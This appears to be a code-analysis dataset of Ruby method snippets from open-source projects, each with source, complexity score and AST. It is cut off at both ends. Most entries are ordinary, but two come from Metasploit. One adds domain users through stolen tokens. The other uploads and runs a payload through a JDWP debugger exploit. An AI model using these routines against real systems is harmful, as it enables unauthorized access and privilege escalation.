\",\"children\":[\"days\"]},\"length\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"days\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"years\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"ceildiv\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"days\"]},\"length\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"days\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Day\"]},\"working\"]},\"from_range\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"lvar\",\"children\":[\"from\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]},\"next_year\",{\"type\":\"lvar\",\"children\":[\"years\"]}]}]}]}]},\"limit\",{\"type\":\"lvar\",\"children\":[\"count\"]}]},\"pluck\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"days\"]},{\"type\":\"sym\",\"children\":[\"date\"]}]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"days\"]}]}]}","id":"3ddf9ca6-2c8f-46c4-9286-d4e4b90701f8"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/class_and_module_children.rb","start_line":217,"raw_source":"def style_for_classes\n          cop_config['EnforcedStyleForClasses'] || style\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"style_for_classes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EnforcedStyleForClasses\"]}]},{\"type\":\"send\",\"children\":[null,\"style\"]}]}]}","id":"dfdfe44b-ba36-49c5-8d0a-07a287bbe2d8"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_parser_syslog.rb","start_line":97,"raw_source":"def test_parse_without_colon(param)\n    @parser.configure({'parser_type' => param})\n    @parser.instance.parse('Feb 28 12:00:00 192.168.0.1 fluentd[11111] [error] Syslog test') { |time, record|\n      assert_equal(event_time('Feb 28 12:00:00', format: '%b %d %H:%M:%S'), time)\n      assert_equal(@expected, record)\n    }\n    assert_equal(Fluent::Plugin::SyslogParser::RFC3164_WITHOUT_TIME_AND_PRI_REGEXP, @parser.instance.patterns['format'])\n    assert_equal(\"%b %d %H:%M:%S\", @parser.instance.patterns['time_format'])\n  end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_without_colon\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"param\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"configure\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"parser_type\"]},{\"type\":\"lvar\",\"children\":[\"param\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"instance\"]},\"parse\",{\"type\":\"str\",\"children\":[\"Feb 28 12:00:00 192.168.0.1 fluentd[11111] [error] Syslog test\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"event_time\",{\"type\":\"str\",\"children\":[\"Feb 28 12:00:00\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"%b %d %H:%M:%S\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@expected\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Plugin\"]},\"SyslogParser\"]},\"RFC3164_WITHOUT_TIME_AND_PRI_REGEXP\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"instance\"]},\"patterns\"]},\"[]\",{\"type\":\"str\",\"children\":[\"format\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"%b %d %H:%M:%S\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"instance\"]},\"patterns\"]},\"[]\",{\"type\":\"str\",\"children\":[\"time_format\"]}]}]}]}]}","id":"09de4b1d-c55c-41e4-bf36-e14ef68c2f07"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/notifications/create_from_model_service.rb","start_line":247,"raw_source":"def settings_for_allowed_users(user_scope, reason)\n    NotificationSetting\n      .where(reason => true)\n      .where(user: user_scope.where(id: User.allowed(strategy.permission(journal, reason), project)))\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"settings_for_allowed_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_scope\"]},{\"type\":\"arg\",\"children\":[\"reason\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationSetting\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reason\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_scope\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"allowed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strategy\"]},\"permission\",{\"type\":\"send\",\"children\":[null,\"journal\"]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]}]}]}]}]}","id":"7d412461-0497-4714-9a7c-1b420967f9e3"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/invited_user_serializer.rb","start_line":16,"raw_source":"def invite_source\n    object.invite.is_invite_link? ? \"link\" : \"email\"\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"invite_source\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"invite\"]},\"is_invite_link?\"]},{\"type\":\"str\",\"children\":[\"link\"]},{\"type\":\"str\",\"children\":[\"email\"]}]}]}","id":"dd590009-0e42-4e34-b2c6-677a691eab60"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/backup_job.rb","start_line":102,"raw_source":"def db_dump_file_name\n    @db_dump_file_name ||= tmp_file_name \"openproject\", \".sql\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"db_dump_file_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@db_dump_file_name\"]},{\"type\":\"send\",\"children\":[null,\"tmp_file_name\",{\"type\":\"str\",\"children\":[\"openproject\"]},{\"type\":\"str\",\"children\":[\".sql\"]}]}]}]}","id":"52b7d740-9a5e-46de-8690-8472dc1bf60c"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/tags/doc.rb","start_line":38,"raw_source":"def parse(tokens)\n      @body = +\"\"\n\n      while (token = tokens.shift)\n        tag_name = token =~ BlockBody::FullTokenPossiblyInvalid && Regexp.last_match(2)\n\n        raise_nested_doc_error if tag_name == @tag_name\n\n        if tag_name == block_delimiter\n          parse_context.trim_whitespace = (token[-3] == WhitespaceControl)\n          @body << Regexp.last_match(1) if Regexp.last_match(1) != \"\"\n          return\n        end\n        @body << token unless token.empty?\n      end\n\n      raise_tag_never_closed(block_name)\n    end","complexity_score":38.75,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tokens\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@body\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tokens\"]},\"shift\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag_name\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"=~\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BlockBody\"]},\"FullTokenPossiblyInvalid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_name\"]},\"==\",{\"type\":\"ivar\",\"children\":[\"@tag_name\"]}]},{\"type\":\"send\",\"children\":[null,\"raise_nested_doc_error\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_name\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"block_delimiter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_context\"]},\"trim_whitespace=\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"[]\",{\"type\":\"int\",\"children\":[-3]}]},\"==\",{\"type\":\"const\",\"children\":[null,\"WhitespaceControl\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},null]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise_tag_never_closed\",{\"type\":\"send\",\"children\":[null,\"block_name\"]}]}]}]}","id":"e4b69196-5a1e-4d52-8ed5-8f0bba1d6a9b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/api/1_manage/import/import_large_github_repo_spec.rb","start_line":439,"raw_source":"def fetch_issuable_events(id)\n        with_paginated_request { github_client.issue_events(github_repo, id) }\n          .reject { |event| deleted_milestone_event?(event) }\n          .map { |event| event[:event] }\n          .reject { |event| unsupported_events.include?(event) }\n      end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_issuable_events\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_paginated_request\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"github_client\"]},\"issue_events\",{\"type\":\"send\",\"children\":[null,\"github_repo\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[null,\"deleted_milestone_event?\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"event\"]}]}]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unsupported_events\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]}","id":"b4efcfea-9ac3-4d54-9c6c-006b57550f59"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/commands/routes/routes_command.rb","start_line":32,"raw_source":"def inspector\n          ActionDispatch::Routing::RoutesInspector.new(Rails.application.routes.routes)\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"inspector\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Routing\"]},\"RoutesInspector\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"routes\"]},\"routes\"]}]}]}","id":"215ccb07-e0ad-4d72-b1c5-2c990fa4f29e"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/stores/memory_store_test.rb","start_line":69,"raw_source":"def test_write_with_unless_exist\n    assert_equal true, @cache.write(1, \"aaaaaaaaaa\")\n    assert_equal false, @cache.write(1, \"aaaaaaaaaa\", unless_exist: true)\n    @cache.write(1, nil)\n    assert_equal false, @cache.write(1, \"aaaaaaaaaa\", unless_exist: true)\n  end","complexity_score":8.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_write_with_unless_exist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"str\",\"children\":[\"aaaaaaaaaa\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"str\",\"children\":[\"aaaaaaaaaa\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unless_exist\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"str\",\"children\":[\"aaaaaaaaaa\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unless_exist\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"8f2bf788-b26e-4e5d-8fd9-a4e3a53b0cb4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage_data_counters/jetbrains_bundled_plugin_activity_unique_counter.rb","start_line":10,"raw_source":"def track_api_request_when_trackable(user_agent:, user:)\n          user_agent&.match?(JETBRAINS_BUNDLED_USER_AGENT_REGEX) &&\n            track_unique_action_by_user(JETBRAINS_BUNDLED_API_REQUEST_ACTION, user)\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"track_api_request_when_trackable\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user_agent\"]},{\"type\":\"kwarg\",\"children\":[\"user\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_agent\"]},\"match?\",{\"type\":\"const\",\"children\":[null,\"JETBRAINS_BUNDLED_USER_AGENT_REGEX\"]}]},{\"type\":\"send\",\"children\":[null,\"track_unique_action_by_user\",{\"type\":\"const\",\"children\":[null,\"JETBRAINS_BUNDLED_API_REQUEST_ACTION\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"944c6788-0ceb-4369-8c06-1e3a8310981f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails2/app/controllers/home_controller.rb","start_line":144,"raw_source":"def test_to_json\n    @model_json = User.find(current_user).to_json\n    @not_json = {:thing => params[:thing]}\n    @json = {:json_thing => params[:json_thing]}.to_json\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_to_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@model_json\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"to_json\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@not_json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thing\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"thing\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@json\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json_thing\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"json_thing\"]}]}]}]},\"to_json\"]}]}]}]}","id":"61dada74-1c4d-4e3b-bf7e-cd0bf8325aa1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/add_user.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Windows Manage Add User to the Domain and/or to a Domain Group',\n        'Description' => %q{\n          This module adds a user to the Domain and/or to a Domain group. It will\n          check if sufficient privileges are present for certain actions and run\n          getprivs for system.  If you elevated privs to system, the\n          SeAssignPrimaryTokenPrivilege will not be assigned. You need to migrate to\n          a process that is running as system. If you don't have privs, this script\n          exits.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => 'Joshua Abraham <jabra[at]rapid7.com>',\n        'Platform' => [ 'win' ],\n        'SessionTypes' => [ 'meterpreter' ],\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              incognito_impersonate_token\n              incognito_list_tokens\n              stdapi_sys_config_getuid\n              stdapi_sys_config_steal_token\n              stdapi_sys_process_get_processes\n            ]\n          }\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [],\n          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]\n        }\n      )\n    )\n    register_options(\n      [\n        OptString.new('USERNAME', [true, 'The username of the user to add (not-qualified, e.g. BOB)']),\n        OptString.new('PASSWORD', [false, 'Password of the user']),\n        OptString.new('GROUP', [false, 'Add user into group, creating it if necessary']),\n        OptBool.new('ADDTOGROUP', [true, 'Add group if it does not exist', false]),\n        OptBool.new('ADDTODOMAIN', [true, 'Add to Domain if true, otherwise add locally', true]),\n        OptString.new('TOKEN', [false, 'Username or PID of the token which will be used (if blank, Domain Admin tokens will be enumerated)', '']),\n      ]\n    )\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Manage Add User to the Domain and/or to a Domain Group\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module adds a user to the Domain and/or to a Domain group. It will\\n\"]},{\"type\":\"str\",\"children\":[\"          check if sufficient privileges are present for certain actions and run\\n\"]},{\"type\":\"str\",\"children\":[\"          getprivs for system.  If you elevated privs to system, the\\n\"]},{\"type\":\"str\",\"children\":[\"          SeAssignPrimaryTokenPrivilege will not be assigned. You need to migrate to\\n\"]},{\"type\":\"str\",\"children\":[\"          a process that is running as system. If you don't have privs, this script\\n\"]},{\"type\":\"str\",\"children\":[\"          exits.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"Joshua Abraham <jabra[at]rapid7.com>\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"incognito_impersonate_token\"]},{\"type\":\"str\",\"children\":[\"incognito_list_tokens\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_config_getuid\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_config_steal_token\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_process_get_processes\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username of the user to add (not-qualified, e.g. BOB)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password of the user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"GROUP\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Add user into group, creating it if necessary\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"ADDTOGROUP\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Add group if it does not exist\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"ADDTODOMAIN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Add to Domain if true, otherwise add locally\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TOKEN\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username or PID of the token which will be used (if blank, Domain Admin tokens will be enumerated)\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}","id":"0109ed09-5b16-432c-a6ae-7b467f2cc1b0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/java_jdwp_debugger.rb","start_line":864,"raw_source":"def exec_payload(thread_id)\n    # 0. Fingerprinting OS\n    fingerprint_os(thread_id)\n\n    vprint_status(\"Executing payload on \\\"#{@os}\\\", target version: #{version}\")\n\n    # 1. Prepares the payload\n    payload_exe, pl_exe = setup_payload\n\n    # 2. Creates file on server for dumping payload\n    file = create_file(thread_id, payload_exe)\n\n    # 3. Uploads payload to the server\n    pl = upload_payload(thread_id, pl_exe)\n\n    # 4. Dumps uploaded payload into file on the server\n    dump_payload(thread_id, file, pl)\n\n    # 5. Closes the file on the server\n    close_file(thread_id, file)\n\n    # 5b. When linux arch, give execution permissions to file\n    if target['Platform'] == 'linux' || target['Platform'] == 'osx'\n      cmd = \"chmod +x #{payload_exe}\"\n      execute_command(thread_id, cmd)\n    end\n\n    # 6. Executes the dumped payload\n    cmd = \"#{payload_exe}\"\n    execute_command(thread_id, cmd)\n  end","complexity_score":27.4,"ast_json":"{\"type\":\"def\",\"children\":[\"exec_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"thread_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fingerprint_os\",{\"type\":\"lvar\",\"children\":[\"thread_id\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing payload on \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@os\"]}]},{\"type\":\"str\",\"children\":[\"\\\", target version: 